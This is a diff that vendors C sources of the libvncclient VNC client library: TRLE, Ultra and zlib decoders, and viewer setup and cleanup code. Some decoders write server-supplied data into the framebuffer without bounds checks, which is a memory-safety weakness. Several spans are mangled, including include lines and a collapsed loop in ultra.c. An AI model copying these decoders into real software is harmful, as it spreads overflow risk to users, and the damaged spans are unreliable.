} + + rfbClientLog("Update %d %d %d %d\n", rx, ry, rw, rh); + + for (y = ry; y < ry + rh; y += 16) { + for (x = rx; x < rx + rw; x += 16) { + w = h = 16; + if (rx + rw - x < 16) + w = rx + rw - x; + if (ry + rh - y < 16) + h = ry + rh - y; + + if (!ReadFromRFBServer(client, &type, 1)) + return FALSE; + + buffer = client->raw_buffer; + + switch (type) { + case_0: + case 0: { + if (!ReadFromRFBServer(client, buffer, w * h * REALBPP / 8)) + return FALSE; +#if REALBPP != BPP + int i, j; + + for (j = y * client->width; j < (y + h) * client->width; + j += client->width) + for (i = x; i < x + w; i++, buffer += REALBPP / 8) + ((CARDBPP *)client->frameBuffer)[j + i] = UncompressCPixel(buffer); +#else + client->GotBitmap(client, buffer, x, y, w, h); +#endif + type = last_type; + break; + } + case 1: { + if (!ReadFromRFBServer(client, buffer, REALBPP / 8)) + return FALSE; + + color = UncompressCPixel(buffer); + + client->GotFillRect(client, x, y, w, h, color); + + last_type = type; + break; + } + case_127: + case 127: + switch (last_type) { + case 0: + return FALSE; + case 1: + client->GotFillRect(client, x, y, w, h, color); + type = last_type; + break; + case 128: + return FALSE; + default: + if (last_type >= 130) { + last_type = last_type & 0x7f; + + bpp = (last_type > 4 ? (last_type > 16 ? 8 : 4) + : (last_type > 2 ? 2 : 1)), + mask = (1 << bpp) - 1, divider = (8 / bpp); + } + if (last_type <= 16) { + int i, j, shift; + + if (!ReadFromRFBServer(client, buffer, + (w + divider - 1) / divider * h)) + return FALSE; + + /* read palettized pixels */ + for (j = y * client->width; j < (y + h) * client->width; + j += client->width) { + for (i = x, shift = 8 - bpp; i < x + w; i++) { + ((CARDBPP *)client->frameBuffer)[j + i] = + palette[((*buffer) >> shift) & mask]; + shift -= bpp; + if (shift < 0) { + shift = 8 - bpp; + buffer++; + } + } + if (shift < 8 - bpp) + buffer++; + + type = last_type; + } + } else + return FALSE; + } + break; + case 128: { + int i = 0, j = 0; + while (j < h) { + int color, length; + /* read color */ + if (!ReadFromRFBServer(client, buffer, REALBPP / 8 + 1)) + return FALSE; + color = UncompressCPixel(buffer); + buffer += REALBPP / 8; + /* read run length */ + length = 1; + while (*buffer == 0xff) { + if (!ReadFromRFBServer(client, buffer + 1, 1)) + return FALSE; + length += *buffer; + buffer++; + } + length += *buffer; + buffer++; + while (j < h && length > 0) { + ((CARDBPP *)client->frameBuffer)[(y + j) * client->width + x + i] = + color; + length--; + i++; + if (i >= w) { + i = 0; + j++; + } + } + if (length > 0) + rfbClientLog("Warning: possible TRLE corruption\n"); + } + + type = last_type; + + break; + } + case_129: + case 129: { + int i, j; + /* read palettized pixels */ + i = j = 0; + while (j < h) { + int color, length; + /* read color */ + if (!ReadFromRFBServer(client, buffer, 1)) + return FALSE; + color = palette[(*buffer) & 0x7f]; + length = 1; + if (*buffer & 0x80) { + if (!ReadFromRFBServer(client, buffer + 1, 1)) + return FALSE; + buffer++; + /* read run length */ + while (*buffer == 0xff) { + if (!ReadFromRFBServer(client, buffer + 1, 1)) + return FALSE; + length += *buffer; + buffer++; + } + length += *buffer; + } + buffer++; + while (j < h && length > 0) { + ((CARDBPP *)client->frameBuffer)[(y + j) * client->width + x + i] = + color; + length--; + i++; + if (i >= w) { + i = 0; + j++; + } + } + if (length > 0) + rfbClientLog("Warning: possible TRLE corruption\n"); + } + + if (type == 129) { + type = last_type; + } + + break; + } + default: + if (type <= 16) { + int i; + + bpp = (type > 4 ? (type > 16 ? 8 : 4) : (type > 2 ? 2 : 1)), + mask = (1 << bpp) - 1, divider = (8 / bpp); + + if (!ReadFromRFBServer(client, buffer, type * REALBPP / 8)) + return FALSE; + + /* read palette */ + for (i = 0; i < type; i++, buffer += REALBPP / 8) + palette[i] = UncompressCPixel(buffer); + + last_type = type; + goto case_127; + } else if (type >= 130) { + int i; + + if (!ReadFromRFBServer(client, buffer, (type - 128) * REALBPP / 8)) + return FALSE; + + /* read palette */ + for (i = 0; i < type - 128; i++, buffer += REALBPP / 8) + palette[i] = UncompressCPixel(buffer); + + last_type = type; + goto case_129; + } else + return FALSE; + } + last_type = type; + } + } + + return TRUE; +} + +#undef CARDBPP +#undef CARDREALBPP +#undef HandleTRLE +#undef UncompressCPixel +#undef REALBPP +#undef UNCOMP diff --git a/3rdparty/libvncserver/libvncclient/ultra.c b/3rdparty/libvncserver/libvncclient/ultra.c new file mode 100644 index 0000000..a287526 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/ultra.c @@ -0,0 +1,214 @@ +/* + * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * ultrazip.c - handle ultrazip encoding. + * + * This file shouldn't be compiled directly. It is included multiple times by + * rfbproto.c, each time with a different definition of the macro BPP. For + * each value of BPP, this file defines a function which handles an zlib + * encoded rectangle with BPP bits per pixel. + */ + +#define HandleUltraZipBPP CONCAT2E(HandleUltraZip,BPP) +#define HandleUltraBPP CONCAT2E(HandleUltra,BPP) +#define CARDBPP CONCAT3E(uint,BPP,_t) + +static rfbBool +HandleUltraBPP (rfbClient* client, int rx, int ry, int rw, int rh) +{ + rfbZlibHeader hdr; + int toRead=0; + int inflateResult=0; + lzo_uint uncompressedBytes = (( rw * rh ) * ( BPP / 8 )); + + if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbZlibHeader)) + return FALSE; + + toRead = rfbClientSwap32IfLE(hdr.nBytes); + if (toRead==0) return TRUE; + + if (uncompressedBytes==0) + { + rfbClientLog("ultra error: rectangle has 0 uncomressed bytes ((%dw * %dh) * (%d / 8))\n", rw, rh, BPP); + return FALSE; + } + + /* First make sure we have a large enough raw buffer to hold the + * decompressed data. In practice, with a fixed BPP, fixed frame + * buffer size and the first update containing the entire frame + * buffer, this buffer allocation should only happen once, on the + * first update. + */ + if ( client->raw_buffer_size < (int)uncompressedBytes) { + if ( client->raw_buffer != NULL ) { + free( client->raw_buffer ); + } + client->raw_buffer_size = uncompressedBytes; + /* buffer needs to be aligned on 4-byte boundaries */ + if ((client->raw_buffer_size % 4)!=0) + client->raw_buffer_size += (4-(client->raw_buffer_size % 4)); + client->raw_buffer = (char*) malloc( client->raw_buffer_size ); + if(client->raw_buffer == NULL) + return FALSE; + } + + /* allocate enough space to store the incoming compressed packet */ + if ( client->ultra_buffer_size < toRead ) { + if ( client->ultra_buffer != NULL ) { + free( client->ultra_buffer ); + } + client->ultra_buffer_size = toRead; + /* buffer needs to be aligned on 4-byte boundaries */ + if ((client->ultra_buffer_size % 4)!=0) + client->ultra_buffer_size += (4-(client->ultra_buffer_size % 4)); + client->ultra_buffer = (char*) malloc( client->ultra_buffer_size ); + } + + /* Fill the buffer, obtaining data from the server. */ + if (!ReadFromRFBServer(client, client->ultra_buffer, toRead)) + return FALSE; + + /* uncompress the data */ + uncompressedBytes = client->raw_buffer_size; + inflateResult = lzo1x_decompress_safe( + (lzo_byte *)client->ultra_buffer, toRead, + (lzo_byte *)client->raw_buffer, (lzo_uintp) &uncompressedBytes, + NULL); + + /* Note that uncompressedBytes will be 0 on output overrun */ + if ((rw * rh * (BPP / 8)) != uncompressedBytes) + rfbClientLog("Ultra decompressed unexpected amount of data (%d != %d)\n", (rw * rh * (BPP / 8)), uncompressedBytes); + + /* Put the uncompressed contents of the update on the screen. */ + if ( inflateResult == LZO_E_OK ) + { + client->GotBitmap(client, (unsigned char *)client->raw_buffer, rx, ry, rw, rh); + } + else + { + rfbClientLog("ultra decompress returned error: %d\n", + inflateResult); + return FALSE; + } + return TRUE; +} + + +/* UltraZip is like rre in that it is composed of subrects */ +static rfbBool +HandleUltraZipBPP (rfbClient* client, int rx, int ry, int rw, int rh) +{ + rfbZlibHeader hdr; + int i=0; + int toRead=0; + int inflateResult=0; + unsigned char *ptr=NULL; + lzo_uint uncompressedBytes = ry + (rw * 65535); + unsigned int numCacheRects = rx; + + if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbZlibHeader)) + return FALSE; + + toRead = rfbClientSwap32IfLE(hdr.nBytes); + + if (toRead==0) return TRUE; + + if (uncompressedBytes==0) + { + rfbClientLog("ultrazip error: rectangle has 0 uncomressed bytes (%dy + (%dw * 65535)) (%d rectangles)\n", ry, rw, rx); + return FALSE; + } + + /* First make sure we have a large enough raw buffer to hold the + * decompressed data. In practice, with a fixed BPP, fixed frame + * buffer size and the first update containing the entire frame + * buffer, this buffer allocation should only happen once, on the + * first update. + */ + if ( client->raw_buffer_size < (int)(uncompressedBytes + 500)) { + if ( client->raw_buffer != NULL ) { + free( client->raw_buffer ); + } + client->raw_buffer_size = uncompressedBytes + 500; + /* buffer needs to be aligned on 4-byte boundaries */ + if ((client->raw_buffer_size % 4)!=0) + client->raw_buffer_size += (4-(client->raw_buffer_size % 4)); + client->raw_buffer = (char*) malloc( client->raw_buffer_size ); + if(client->raw_buffer == NULL) + return FALSE; + } + + + /* allocate enough space to store the incoming compressed packet */ + if ( client->ultra_buffer_size < toRead ) { + if ( client->ultra_buffer != NULL ) { + free( client->ultra_buffer ); + } + client->ultra_buffer_size = toRead; + client->ultra_buffer = (char*) malloc( client->ultra_buffer_size ); + } + + /* Fill the buffer, obtaining data from the server. */ + if (!ReadFromRFBServer(client, client->ultra_buffer, toRead)) + return FALSE; + + /* uncompress the data */ + uncompressedBytes = client->raw_buffer_size; + inflateResult = lzo1x_decompress_safe( + (lzo_byte *)client->ultra_buffer, toRead, + (lzo_byte *)client->raw_buffer, &uncompressedBytes, NULL); + if ( inflateResult != LZO_E_OK ) + { + rfbClientLog("ultra decompress returned error: %d\n", + inflateResult); + return FALSE; + } + + /* Put the uncompressed contents of the update on the screen. */ + ptr = (unsigned char *)client->raw_buffer; + for (i=0; iGotBitmap(client, (unsigned char *)ptr, sx, sy, sw, sh); + ptr += ((sw * sh) * (BPP / 8)); + } + } + + return TRUE; +} + +#undef CARDBPP diff --git a/3rdparty/libvncserver/libvncclient/vncviewer.c b/3rdparty/libvncserver/libvncclient/vncviewer.c new file mode 100644 index 0000000..ec1b73a --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/vncviewer.c @@ -0,0 +1,553 @@ +/* + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * vncviewer.c - the Xt-based VNC viewer. + */ + +#ifdef WIN32 +#undef SOCKET +#include +#endif + +#ifdef _MSC_VER +#define strdup _strdup /* Prevent POSIX deprecation warnings */ +#endif + +#ifdef __STRICT_ANSI__ +#define _BSD_SOURCE +#define _POSIX_SOURCE +#endif +#include +#include +#include +#include +#include +#include "tls.h" + +static void Dummy(rfbClient* client) { +} +static rfbBool DummyPoint(rfbClient* client, int x, int y) { + return TRUE; +} +static void DummyRect(rfbClient* client, int x, int y, int w, int h) { +} + +#ifdef WIN32 +static char* NoPassword(rfbClient* client) { + return strdup(""); +} +#define close closesocket +#else +#include +#include +#endif + +static char* ReadPassword(rfbClient* client) { +#ifdef WIN32 + /* FIXME */ + rfbClientErr("ReadPassword on Windows NOT IMPLEMENTED\n"); + return NoPassword(client); +#else + int i; + char* p=malloc(9); + struct termios save,noecho; + p[0]=0; + if(tcgetattr(fileno(stdin),&save)!=0) return p; + noecho=save; noecho.c_lflag &= ~ECHO; + if(tcsetattr(fileno(stdin),TCSAFLUSH,&noecho)!=0) return p; + fprintf(stderr,"Password: "); + i=0; + while(1) { + int c=fgetc(stdin); + if(c=='\n') + break; + if(i<8) { + p[i]=c; + i++; + p[i]=0; + } + } + tcsetattr(fileno(stdin),TCSAFLUSH,&save); + return p; +#endif +} +static rfbBool MallocFrameBuffer(rfbClient* client) { + uint64_t allocSize; + + if(client->frameBuffer) + free(client->frameBuffer); + + /* SECURITY: promote 'width' into uint64_t so that the multiplication does not overflow + 'width' and 'height' are 16-bit integers per RFB protocol design + SIZE_MAX is the maximum value that can fit into size_t + */ + allocSize = (uint64_t)client->width * client->height * client->format.bitsPerPixel/8; + + if (allocSize >= SIZE_MAX) { + rfbClientErr("CRITICAL: cannot allocate frameBuffer, requested size is too large\n"); + return FALSE; + } + + client->frameBuffer=malloc( (size_t)allocSize ); + + if (client->frameBuffer == NULL) + rfbClientErr("CRITICAL: frameBuffer allocation failed, requested size too large or not enough memory?\n"); + + return client->frameBuffer?TRUE:FALSE; +} + +/* messages */ + +static rfbBool CheckRect(rfbClient* client, int x, int y, int w, int h) { + return x + w <= client->width && y + h <= client->height; +} + +static void FillRectangle(rfbClient* client, int x, int y, int w, int h, uint32_t colour) { + int i,j; + + if (client->frameBuffer == NULL) { + return; + } + + if (!CheckRect(client, x, y, w, h)) { + rfbClientLog("Rect out of bounds: %dx%d at (%d, %d)\n", x, y, w, h); + return; + } + +#define FILL_RECT(BPP) \ + for(j=y*client->width;j<(y+h)*client->width;j+=client->width) \ + for(i=x;iframeBuffer)[j+i]=colour; + + switch(client->format.bitsPerPixel) { + case 8: FILL_RECT(8); break; + case 16: FILL_RECT(16); break; + case 32: FILL_RECT(32); break; + default: + rfbClientLog("Unsupported bitsPerPixel: %d\n",client->format.bitsPerPixel); + } +} + +static void CopyRectangle(rfbClient* client, const uint8_t* buffer, int x, int y, int w, int h) { + int j; + + if (client->frameBuffer == NULL) { + return; + } + + if (!CheckRect(client, x, y, w, h)) { + rfbClientLog("Rect out of bounds: %dx%d at (%d, %d)\n", x, y, w, h); + return; + } + +#define COPY_RECT(BPP) \ + { \ + int rs = w * BPP / 8, rs2 = client->width * BPP / 8; \ + for (j = ((x * (BPP / 8)) + (y * rs2)); j < (y + h) * rs2; j += rs2) { \ + memcpy(client->frameBuffer + j, buffer, rs); \ + buffer += rs; \ + } \ + } + + switch(client->format.bitsPerPixel) { + case 8: COPY_RECT(8); break; + case 16: COPY_RECT(16); break; + case 32: COPY_RECT(32); break; + default: + rfbClientLog("Unsupported bitsPerPixel: %d\n",client->format.bitsPerPixel); + } +} + +/* TODO: test */ +static void CopyRectangleFromRectangle(rfbClient* client, int src_x, int src_y, int w, int h, int dest_x, int dest_y) { + int i,j; + + if (client->frameBuffer == NULL) { + return; + } + + if (!CheckRect(client, src_x, src_y, w, h)) { + rfbClientLog("Source rect out of bounds: %dx%d at (%d, %d)\n", src_x, src_y, w, h); + return; + } + + if (!CheckRect(client, dest_x, dest_y, w, h)) { + rfbClientLog("Dest rect out of bounds: %dx%d at (%d, %d)\n", dest_x, dest_y, w, h); + return; + } + +#define COPY_RECT_FROM_RECT(BPP) \ + { \ + uint##BPP##_t* _buffer=((uint##BPP##_t*)client->frameBuffer)+(src_y-dest_y)*client->width+src_x-dest_x; \ + if (dest_y < src_y) { \ + for(j = dest_y*client->width; j < (dest_y+h)*client->width; j += client->width) { \ + if (dest_x < src_x) { \ + for(i = dest_x; i < dest_x+w; i++) { \ + ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \ + } \ + } else { \ + for(i = dest_x+w-1; i >= dest_x; i--) { \ + ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \ + } \ + } \ + } \ + } else { \ + for(j = (dest_y+h-1)*client->width; j >= dest_y*client->width; j-=client->width) { \ + if (dest_x < src_x) { \ + for(i = dest_x; i < dest_x+w; i++) { \ + ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \ + } \ + } else { \ + for(i = dest_x+w-1; i >= dest_x; i--) { \ + ((uint##BPP##_t*)client->frameBuffer)[j+i]=_buffer[j+i]; \ + } \ + } \ + } \ + } \ + } + + switch(client->format.bitsPerPixel) { + case 8: COPY_RECT_FROM_RECT(8); break; + case 16: COPY_RECT_FROM_RECT(16); break; + case 32: COPY_RECT_FROM_RECT(32); break; + default: + rfbClientLog("Unsupported bitsPerPixel: %d\n",client->format.bitsPerPixel); + } +} + +static void initAppData(AppData* data) { + data->shareDesktop=TRUE; + data->viewOnly=FALSE; + data->encodingsString="tight zrle ultra copyrect hextile zlib corre rre raw"; + data->useBGR233=FALSE; + data->nColours=0; + data->forceOwnCmap=FALSE; + data->forceTrueColour=FALSE; + data->requestedDepth=0; + data->compressLevel=3; + data->qualityLevel=5; +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + data->enableJPEG=TRUE; +#else + data->enableJPEG=FALSE; +#endif + data->useRemoteCursor=FALSE; +} + +rfbClient* rfbGetClient(int bitsPerSample,int samplesPerPixel, + int bytesPerPixel) { + rfbClient* client=(rfbClient*)calloc(sizeof(rfbClient),1); + if(!client) { + rfbClientErr("Couldn't allocate client structure!\n"); + return NULL; + } + initAppData(&client->appData); + client->endianTest = 1; + client->programName=""; + client->serverHost=strdup(""); + client->serverPort=5900; + + client->destHost = NULL; + client->destPort = 5900; + + client->CurrentKeyboardLedState = 0; + client->HandleKeyboardLedState = (HandleKeyboardLedStateProc)DummyPoint; + + /* default: use complete frame buffer */ + client->updateRect.x = -1; + + client->frameBuffer = NULL; + client->outputWindow = 0; + + client->format.bitsPerPixel = bytesPerPixel*8; + client->format.depth = bitsPerSample*samplesPerPixel; + client->appData.requestedDepth=client->format.depth; + client->format.bigEndian = *(char *)&client->endianTest?FALSE:TRUE; + client->format.trueColour = 1; + + if (client->format.bitsPerPixel == 8) { + client->format.redMax = 7; + client->format.greenMax = 7; + client->format.blueMax = 3; + client->format.redShift = 0; + client->format.greenShift = 3; + client->format.blueShift = 6; + } else { + client->format.redMax = (1 << bitsPerSample) - 1; + client->format.greenMax = (1 << bitsPerSample) - 1; + client->format.blueMax = (1 << bitsPerSample) - 1; + if(!client->format.bigEndian) { + client->format.redShift = 0; + client->format.greenShift = bitsPerSample; + client->format.blueShift = bitsPerSample * 2; + } else { + if(client->format.bitsPerPixel==8*3) { + client->format.redShift = bitsPerSample*2; + client->format.greenShift = bitsPerSample*1; + client->format.blueShift = 0; + } else { + client->format.redShift = bitsPerSample*3; + client->format.greenShift = bitsPerSample*2; + client->format.blueShift = bitsPerSample; + } + } + } + + client->bufoutptr=client->buf; + client->buffered=0; + +#ifdef LIBVNCSERVER_HAVE_LIBZ + client->raw_buffer_size = -1; + client->decompStreamInited = FALSE; + +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + memset(client->zlibStreamActive,0,sizeof(rfbBool)*4); +#endif +#endif + + client->HandleCursorPos = DummyPoint; + client->SoftCursorLockArea = DummyRect; + client->SoftCursorUnlockScreen = Dummy; + client->GotFrameBufferUpdate = DummyRect; + client->GotCopyRect = CopyRectangleFromRectangle; + client->GotFillRect = FillRectangle; + client->GotBitmap = CopyRectangle; + client->FinishedFrameBufferUpdate = NULL; + client->GetPassword = ReadPassword; + client->MallocFrameBuffer = MallocFrameBuffer; + client->Bell = Dummy; + client->CurrentKeyboardLedState = 0; + client->HandleKeyboardLedState = (HandleKeyboardLedStateProc)DummyPoint; + client->QoS_DSCP = 0; + + client->authScheme = 0; + client->subAuthScheme = 0; + client->GetCredential = NULL; + client->tlsSession = NULL; + client->LockWriteToTLS = NULL; + client->UnlockWriteToTLS = NULL; + client->sock = -1; + client->listenSock = -1; + client->listenAddress = NULL; + client->listen6Sock = -1; + client->listen6Address = NULL; + client->clientAuthSchemes = NULL; + +#ifdef LIBVNCSERVER_HAVE_SASL + client->GetSASLMechanism = NULL; + client->GetUser = NULL; + client->saslSecret = NULL; +#endif /* LIBVNCSERVER_HAVE_SASL */ + + return client; +} + +static rfbBool rfbInitConnection(rfbClient* client) +{ + /* Unless we accepted an incoming connection, make a TCP connection to the + given VNC server */ + + if (!client->listenSpecified) { + if (!client->serverHost) + return FALSE; + if (client->destHost) { + if (!ConnectToRFBRepeater(client,client->serverHost,client->serverPort,client->destHost,client->destPort)) + return FALSE; + } else { + if (!ConnectToRFBServer(client,client->serverHost,client->serverPort)) + return FALSE; + } + } + + /* Initialise the VNC connection, including reading the password */ + + if (!InitialiseRFBConnection(client)) + return FALSE; + + client->width=client->si.framebufferWidth; + client->height=client->si.framebufferHeight; + if (!client->MallocFrameBuffer(client)) + return FALSE; + + if (!SetFormatAndEncodings(client)) + return FALSE; + + if (client->updateRect.x < 0) { + client->updateRect.x = client->updateRect.y = 0; + client->updateRect.w = client->width; + client->updateRect.h = client->height; + } + + if (client->appData.scaleSetting>1) + { + if (!SendScaleSetting(client, client->appData.scaleSetting)) + return FALSE; + if (!SendFramebufferUpdateRequest(client, + client->updateRect.x / client->appData.scaleSetting, + client->updateRect.y / client->appData.scaleSetting, + client->updateRect.w / client->appData.scaleSetting, + client->updateRect.h / client->appData.scaleSetting, + FALSE)) + return FALSE; + } + else + { + if (!SendFramebufferUpdateRequest(client, + client->updateRect.x, client->updateRect.y, + client->updateRect.w, client->updateRect.h, + FALSE)) + return FALSE; + } + + return TRUE; +} + +rfbBool rfbInitClient(rfbClient* client,int* argc,char** argv) { + int i,j; + + if(argv && argc && *argc) { + if(client->programName==0) + client->programName=argv[0]; + + for (i = 1; i < *argc; i++) { + j = i; + if (strcmp(argv[i], "-listen") == 0) { + listenForIncomingConnections(client); + break; + } else if (strcmp(argv[i], "-listennofork") == 0) { + listenForIncomingConnectionsNoFork(client, -1); + break; + } else if (strcmp(argv[i], "-play") == 0) { + client->serverPort = -1; + j++; + } else if (i+1<*argc && strcmp(argv[i], "-encodings") == 0) { + client->appData.encodingsString = argv[i+1]; + j+=2; + } else if (i+1<*argc && strcmp(argv[i], "-compress") == 0) { + client->appData.compressLevel = atoi(argv[i+1]); + j+=2; + } else if (i+1<*argc && strcmp(argv[i], "-quality") == 0) { + client->appData.qualityLevel = atoi(argv[i+1]); + j+=2; + } else if (i+1<*argc && strcmp(argv[i], "-scale") == 0) { + client->appData.scaleSetting = atoi(argv[i+1]); + j+=2; + } else if (i+1<*argc && strcmp(argv[i], "-qosdscp") == 0) { + client->QoS_DSCP = atoi(argv[i+1]); + j+=2; + } else if (i+1<*argc && strcmp(argv[i], "-repeaterdest") == 0) { + char* colon=strchr(argv[i+1],':'); + + if(client->destHost) + free(client->destHost); + client->destPort = 5900; + + client->destHost = strdup(argv[i+1]); + if(colon) { + client->destHost[(int)(colon-argv[i+1])] = '\0'; + client->destPort = atoi(colon+1); + } + j+=2; + } else { + char* colon=strchr(argv[i],':'); + + if(client->serverHost) + free(client->serverHost); + + if(colon) { + client->serverHost = strdup(argv[i]); + client->serverHost[(int)(colon-argv[i])] = '\0'; + client->serverPort = atoi(colon+1); + } else { + client->serverHost = strdup(argv[i]); + } + if(client->serverPort >= 0 && client->serverPort < 5900) + client->serverPort += 5900; + } + /* purge arguments */ + if (j>i) { + *argc-=j-i; + memmove(argv+i,argv+j,(*argc-i)*sizeof(char*)); + i--; + } + } + } + + if(!rfbInitConnection(client)) { + rfbClientCleanup(client); + return FALSE; + } + + return TRUE; +} + +void rfbClientCleanup(rfbClient* client) { +#ifdef LIBVNCSERVER_HAVE_LIBZ +#ifdef LIBVNCSERVER_HAVE_LIBJPEG + int i; + + for ( i = 0; i < 4; i++ ) { + if (client->zlibStreamActive[i] == TRUE ) { + if (inflateEnd (&client->zlibStream[i]) != Z_OK && + client->zlibStream[i].msg != NULL) + rfbClientLog("inflateEnd: %s\n", client->zlibStream[i].msg); + } + } + + if ( client->decompStreamInited == TRUE ) { + if (inflateEnd (&client->decompStream) != Z_OK && + client->decompStream.msg != NULL) + rfbClientLog("inflateEnd: %s\n", client->decompStream.msg ); + } +#endif +#endif + + if (client->ultra_buffer) + free(client->ultra_buffer); + + if (client->raw_buffer) + free(client->raw_buffer); + + FreeTLS(client); + + while (client->clientData) { + rfbClientData* next = client->clientData->next; + free(client->clientData); + client->clientData = next; + } + + if (client->sock >= 0) + close(client->sock); + if (client->listenSock >= 0) + close(client->listenSock); + free(client->desktopName); + free(client->serverHost); + if (client->destHost) + free(client->destHost); + if (client->clientAuthSchemes) + free(client->clientAuthSchemes); + +#ifdef LIBVNCSERVER_HAVE_SASL + if (client->saslSecret) + free(client->saslSecret); +#endif /* LIBVNCSERVER_HAVE_SASL */ + + free(client); +} diff --git a/3rdparty/libvncserver/libvncclient/zlib.c b/3rdparty/libvncserver/libvncclient/zlib.c new file mode 100644 index 0000000..fc6f138 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/zlib.c @@ -0,0 +1,162 @@ +/* + * Copyright (C) 2000 Tridia Corporation. All Rights Reserved. + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef LIBVNCSERVER_HAVE_LIBZ + +/* + * zlib.c - handle zlib encoding. + * + * This file shouldn't be compiled directly. It is included multiple times by + * rfbproto.c, each time with a different definition of the macro BPP. For + * each value of BPP, this file defines a function which handles an zlib + * encoded rectangle with BPP bits per pixel. + */ + +#define HandleZlibBPP CONCAT2E(HandleZlib,BPP) +#define CARDBPP CONCAT3E(uint,BPP,_t) + +static rfbBool +HandleZlibBPP (rfbClient* client, int rx, int ry, int rw, int rh) +{ + rfbZlibHeader hdr; + int remaining; + int inflateResult; + int toRead; + + /* First make sure we have a large enough raw buffer to hold the + * decompressed data. In practice, with a fixed BPP, fixed frame + * buffer size and the first update containing the entire frame + * buffer, this buffer allocation should only happen once, on the + * first update. + */ + if ( client->raw_buffer_size < (( rw * rh ) * ( BPP / 8 ))) { + + if ( client->raw_buffer != NULL ) { + + free( client->raw_buffer ); + + } + + client->raw_buffer_size = (( rw * rh ) * ( BPP / 8 )); + client->raw_buffer = (char*) malloc( client->raw_buffer_size ); + + } + + if (!ReadFromRFBServer(client, (char *)&hdr, sz_rfbZlibHeader)) + return FALSE; + + remaining = rfbClientSwap32IfLE(hdr.nBytes); + + /* Need to initialize the decompressor state. */ + client->decompStream.next_in = ( Bytef * )client->buffer; + client->decompStream.avail_in = 0; + client->decompStream.next_out = ( Bytef * )client->raw_buffer; + client->decompStream.avail_out = client->raw_buffer_size; + client->decompStream.data_type = Z_BINARY; + + /* Initialize the decompression stream structures on the first invocation. */ + if ( client->decompStreamInited == FALSE ) { + + inflateResult = inflateInit( &client->decompStream ); + + if ( inflateResult != Z_OK ) { + rfbClientLog( + "inflateInit returned error: %d, msg: %s\n", + inflateResult, + client->decompStream.msg); + return FALSE; + } + + client->decompStreamInited = TRUE; + + } + + inflateResult = Z_OK; + + /* Process buffer full of data until no more to process, or + * some type of inflater error, or Z_STREAM_END. + */ + while (( remaining > 0 ) && + ( inflateResult == Z_OK )) { + + if ( remaining > RFB_BUFFER_SIZE ) { + toRead = RFB_BUFFER_SIZE; + } + else { + toRead = remaining; + } + + /* Fill the buffer, obtaining data from the server. */ + if (!ReadFromRFBServer(client, client->buffer,toRead)) + return FALSE; + + client->decompStream.next_in = ( Bytef * )client->buffer; + client->decompStream.avail_in = toRead; + + /* Need to uncompress buffer full. */ + inflateResult = inflate( &client->decompStream, Z_SYNC_FLUSH ); + + /* We never supply a dictionary for compression. */ + if ( inflateResult == Z_NEED_DICT ) { + rfbClientLog("zlib inflate needs a dictionary!\n"); + return FALSE; + } + if ( inflateResult < 0 ) { + rfbClientLog( + "zlib inflate returned error: %d, msg: %s\n", + inflateResult, + client->decompStream.msg); + return FALSE; + } + + /* Result buffer allocated to be at least large enough. We should + * never run out of space! + */ + if (( client->decompStream.avail_in > 0 ) && + ( client->decompStream.avail_out <= 0 )) { + rfbClientLog("zlib inflate ran out of space!\n"); + return FALSE; + } + + remaining -= toRead; + + } /* while ( remaining > 0 ) */ + + if ( inflateResult == Z_OK ) { + + /* Put the uncompressed contents of the update on the screen. */ + client->GotBitmap(client, (uint8_t *)client->raw_buffer, rx, ry, rw, rh); + } + else { + + rfbClientLog( + "zlib inflate returned error: %d, msg: %s\n", + inflateResult, + client->decompStream.msg); + return FALSE; + + } + + return TRUE; +} + +#undef CARDBPP + +#endif diff --git a/3rdparty/libvncserver/libvncclient/zrle.c b/3rdparty/libvncserver/libvncclient/zrle.c new file mode 100644 index 0000000..ceba15a --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/zrle.c @@ -0,0 +1,427 @@ +/* + * Copyright (C) 2005 Johannes E. Schindelin. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR 